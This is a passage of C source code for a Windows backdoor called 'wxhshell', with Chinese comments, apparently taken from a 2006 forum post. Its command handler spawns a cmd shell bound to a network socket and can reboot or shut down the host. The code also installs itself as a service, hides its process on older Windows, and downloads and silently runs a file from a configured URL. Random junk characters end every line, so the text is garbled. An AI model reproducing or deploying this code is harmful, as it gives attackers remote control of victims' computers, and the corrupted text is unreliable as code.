  else { 5ZRO{rf  
I-QaR  
    switch(cmd[0]) { zdoJ+zRtK  
  KfO$bmwmx  
  // 帮助 H|1owmbD  
  case '?': { f"=1_*eH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TfYXF`d  
    break; ;!JI$_ -\  
  } }CiB+  
  // 安装 wIv_Z^% V  
  case 'i': { a19yw]hF5  
    if(Install()) @C]Q;>^|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c3X'Sv  
    else  i,{'}B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TfD]`v`]   
    break; }E\ b_.  
    } meHnT9a^  
  // 卸载 x2|YrkGv  
  case 'r': { SxHj3,`#C  
    if(Uninstall()) 0'giAA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \B0,?_i  
    else qH3|x08  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SIBNU3;DL  
    break; u*I=.  
    } GWNLET  
  // 显示 wxhshell 所在路径 y|BRAk&n  
  case 'p': { e;y\v/A  
    char svExeFile[MAX_PATH]; p97}HT}  
    strcpy(svExeFile,"\n\r"); y5d=r]_S:  
      strcat(svExeFile,ExeFile); G8w<^z>pTg  
        send(wsh,svExeFile,strlen(svExeFile),0); 9t.u9C=!F  
    break; v&hQ;v  
    } q K sI}X~  
  // 重启 6;02_C]\o  
  case 'b': { -R^OYgF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Op&i6V}<s  
    if(Boot(REBOOT)) mVg$z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>bmCK2  
    else { i?.7o*w8  
    closesocket(wsh); 8X6F6RK6,1  
    ExitThread(0); [jPUAr}  
    } Ow0-}Im~  
    break; wA+QUN3#n  
    } VJK?"mX  
  // 关机  q q%\  
  case 'd': { .eg?FB'7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I7b_dJD;*  
    if(Boot(SHUTDOWN)) DrfOz#a0Uu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {XT3M{`rWL  
    else { q5jLK)  
    closesocket(wsh); zYCrfr  
    ExitThread(0); q .[hwm  
    } X @;o<2^  
    break; > 3<P^-9L  
    } -8j<`(M' 5  
  // 获取shell Fap@cW3?8  
  case 's': { _|VWf8?\  
    CmdShell(wsh); qb^jcy  
    closesocket(wsh); zG\g{cB  
    ExitThread(0); AOT +4*)%  
    break; /%El0X  
  } tY?_#rc  
  // 退出 e(;1XqLM  
  case 'x': { t7A '  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  U>0' K3_  
    CloseIt(wsh); u/`jb2eEU:  
    break; I) mP ?  
    } ']nB_x7  
  // 离开 hD~P)@^  
  case 'q': { Jr0D:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l[KFK%?  
    closesocket(wsh); 3Uzb]D~u  
    WSACleanup(); ~Wh} W((L  
    exit(1); U}H2!et&,)  
    break; %9|}H [x  
        } HK@LA3  
  } Q.5C$I  
  } 2k\i/i/Y  
)XB31^  
  // 提示信息 VieX 5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K<@gU\-!  
} S@AHI!"h=V  
  } )Fc` rY  
zdDn. vG  
  return; Y{].%xM5  
} }E=:k&IDPB  
DqgYc[UGA  
// shell模块句柄 \Y)pm9!  
int CmdShell(SOCKET sock) sE*A,z?  
{ Qr`WPTQr"  
STARTUPINFO si; V^ O dTM  
ZeroMemory(&si,sizeof(si)); ?klV;+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pn)^mt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .&:GO D  
PROCESS_INFORMATION ProcessInfo; 4"$K66yk@  
char cmdline[]="cmd"; l_ycYD$ZA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x+j5vzhG)  
  return 0; %w <59d6  
} = > .EDL.  
OrX x0Hn  
// 自身启动模式 \;0J6LBc  
int StartFromService(void) d4"KM+EP?  
{ >QwZt  
typedef struct lO482l_t  
{ TNs0^h)  
  DWORD ExitStatus; [ m*=Q  
  DWORD PebBaseAddress; iz'#K?PF_  
  DWORD AffinityMask; NTRw:'  
  DWORD BasePriority; %|(~k*s4  
  ULONG UniqueProcessId; 1tvgM !.  
  ULONG InheritedFromUniqueProcessId; yVe<[!hJ  
}   PROCESS_BASIC_INFORMATION; 9*!C|gC9Ia  
&FrW(>2  
PROCNTQSIP NtQueryInformationProcess; K*uFqdLL!  
g%z?O[CN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V1R=`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'jp nQcwxx  
D:Zpls.  
  HANDLE             hProcess; lf3:Z5*&>  
  PROCESS_BASIC_INFORMATION pbi; S[fzy$">  
VFN\ Ryd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .Z=D|&!  
  if(NULL == hInst ) return 0; F^ kH"u[  
Lu&2^USTO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Sa2s&[<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |;q*Zy(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c1j)  
\m!swYy  
  if (!NtQueryInformationProcess) return 0; L2>UA<@mZ  
% R~9qO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4kO[|~#  
  if(!hProcess) return 0; t?^C9(;6  
&_ er_V~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |xaJv:96%  
J&~nD(&TY  
  CloseHandle(hProcess); %-@`|  
7*5$=z4,1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h'wOslyFa  
if(hProcess==NULL) return 0; jnFCt CB  
T*>n a8W  
HMODULE hMod; tBe)#-O  
char procName[255]; Oqzz9+  
unsigned long cbNeeded; uV<I!jyI  
5,!,mor$]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HxJKS*H;  
#3maT*JY  
  CloseHandle(hProcess); Fz7(Kuc  
x#"|Z&Dw0  
if(strstr(procName,"services")) return 1; // 以服务启动 Xr~6_N{J  
UD [S>{  
  return 0; // 注册表启动 +M%i3A  
} Sv.z9@S  
h+|3\>/@9{  
// 主模块 p~M1}mE  
int StartWxhshell(LPSTR lpCmdLine) 5,>1rd<B  
{ e!yUA!x`u  
  SOCKET wsl; p2|c8n==  
BOOL val=TRUE; DG1  >T  
  int port=0; N!DAn \g  
  struct sockaddr_in door; B+|E|8"  
&9\z!r6mc  
  if(wscfg.ws_autoins) Install(); ^a|$z$spf  
[@[!esC  
port=atoi(lpCmdLine); 0~RsdQGqC  
48M)A  
if(port<=0) port=wscfg.ws_port; !_s|h@  
35Nwx<  
  WSADATA data; Ojp)OeF\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ke|v|@  
8Q^yh6z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a8aEZ724  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LU4\&fd  
  door.sin_family = AF_INET; <5/r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wo7.y["$  
  door.sin_port = htons(port); BQ[1,\>  
$*K5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VE^NSk Oa&  
closesocket(wsl); ]CH@ T9d5V  
return 1; i0,{*LD%^  
} RH ow%2D  
m_~ p G  
  if(listen(wsl,2) == INVALID_SOCKET) { ([UuO}m-  
closesocket(wsl); tx&>Eo  
return 1; qf+jfc(Iby  
} mp0p#8txi  
  Wxhshell(wsl); /7*jH2  
  WSACleanup(); dra'1E  
]>/YU*\  
return 0; q#v.-013r  
&T]+g8''  
} >5wA B  
>1a- }>r  
// 以NT服务方式启动 +,7dj:0S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Km]N scq1  
{ fOJk+? c  
DWORD   status = 0; \8Mkb]QA  
  DWORD   specificError = 0xfffffff; mc|T}B  
\^;Gv%E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qyUcjc%[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EVNTn`J_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wc)[r~On(5  
  serviceStatus.dwWin32ExitCode     = 0; f1=BBQY >  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Ng3!2&$e  
  serviceStatus.dwCheckPoint       = 0; l}335;(  
  serviceStatus.dwWaitHint       = 0; lZ0+:DaP2  
/}2 bsiJT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  g}Hk4+  
  if (hServiceStatusHandle==0) return;  -6~*:zg,  
X~0l1 @!  
status = GetLastError(); A/{pG#if]3  
  if (status!=NO_ERROR) k(=\& T  
{ N$pwTyk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i0-!!  
    serviceStatus.dwCheckPoint       = 0; 6\ux;lksn*  
    serviceStatus.dwWaitHint       = 0; k}ps-w6:  
    serviceStatus.dwWin32ExitCode     = status; 34YYw@?}Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; \*LMc69  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZyCAl9{p  
    return; z(.$>O&6H  
  } ?#}=!$p  
s%GiM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m8 0+b8b  
  serviceStatus.dwCheckPoint       = 0; -J[zJ4z #  
  serviceStatus.dwWaitHint       = 0; :FG}k Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0#K@^a  
} (N;Jw^C@  
OOl{  
// 处理NT服务事件,比如:启动、停止 L!S-f4^5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G]P4[#5  
{ C^n L{ZP,  
switch(fdwControl) rO]C`bg  
{ b8b-M]P-=  
case SERVICE_CONTROL_STOP: + W@r p#  
  serviceStatus.dwWin32ExitCode = 0; wB9IP{Pf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d.2b7q09  
  serviceStatus.dwCheckPoint   = 0; ,9?'Q;20  
  serviceStatus.dwWaitHint     = 0; *N>Qj-KAM_  
  { ~%#?;hJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v[Q)cqj/  
  } @;rVB  
  return; 44%H? ,d  
case SERVICE_CONTROL_PAUSE: n:*+pL;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jb7=1OPD_  
  break; ,1~Zqprn  
case SERVICE_CONTROL_CONTINUE: uXhp+q\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8OBvC\%  
  break; <U~P-c tN  
case SERVICE_CONTROL_INTERROGATE: N.64aL|1  
  break; etTuukq_Z  
}; r#Pd@SV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V >['~|  
} 66|lQE&n  
k&~vVx  
// 标准应用程序主函数 `Mjm/9+18  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W2<X 5'  
{ CC)9Ks\  
ItRGq  
// 获取操作系统版本 }K*ri  
OsIsNt=GetOsVer(); iEU(1?m2-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %kcg#p+tE  
mdZELRu  
  // 从命令行安装 TM"-X\e~{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4;*V^\',9  
|hdh4P$+|  
  // 下载执行文件 hV,3xrm?P  
if(wscfg.ws_downexe) { YLCwo]\+>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w(G(Q>GI  
  WinExec(wscfg.ws_filenam,SW_HIDE); .H>Rqikj  
} }`MO}Pz  
5sE^MS1  
if(!OsIsNt) { jNyC%$  
// 如果时win9x,隐藏进程并且设置为注册表启动 )F~_KD)7jJ  
HideProc(); I#Bz UF  
StartWxhshell(lpCmdLine); !;xE7w  
} gO/(/e>P  
else >ciq4H43Q|  
  if(StartFromService()) aQG#bh [  
  // 以服务方式启动 t/$xzsoJZr  
  StartServiceCtrlDispatcher(DispatchTable); YL. z|{\e  
else ;+jp,( 7  
  // 普通方式启动 =QC^7T  
  StartWxhshell(lpCmdLine); %*gO<U4L]  
,qfa,O  
return 0; o2|(0uN'  
}
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只看该作者 1 发表于: 2006-10-10
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